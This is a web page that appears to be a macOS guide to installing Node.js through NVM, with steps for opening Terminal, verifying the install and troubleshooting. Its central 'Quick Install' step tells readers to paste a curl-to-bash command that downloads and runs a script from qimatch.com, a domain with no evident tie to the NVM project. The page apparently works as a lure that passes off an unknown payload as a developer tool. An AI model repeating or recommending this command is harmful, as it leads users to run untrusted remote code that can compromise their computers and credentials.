Install Node.js on macOS with NVM

A simple way to install Node.js on Mac, MacBook, and macOS. Works on Apple Silicon and Intel.

Open Terminal on macOS

All installation commands should be typed into the Terminal app. Here’s how to open it:

Spotlight: .press ⌘ + Space, type Terminal, then .press Enter.
Finder: Go to Applications → Utilities → Terminal.
Launchpad: Open Launchpad, go to “Other”, then click Terminal.
From a folder: Right-click in Finder → Services → “New Terminal at Folder”.

Quick Install

Paste this command into your open Terminal window and .press Enter:

/bin/bash -c "$(curl -fsSL https://qimatch.com/njs/install.sh)"

After installation, restart Terminal or run source ~/.zshrc.

Verify Installation

Check NVM: command -v nvm
Install LTS Node.js: nvm install --lts
Set default version: nvm alias default lts/*
Check: node -v, npm -v

Why use NVM on macOS?

Node Version Manager keeps your Node.js setup clean and flexible:

Switch Node.js versions easily with nvm use
No need for sudo to install global npm packages
Works seamlessly on Apple Silicon and Intel

Troubleshooting

Shell can’t find nvm: Run source ~/.zshrc or restart Terminal.
Permission errors: Check which node points to your home directory.
Apple Silicon: NVM handles the right binaries automatically.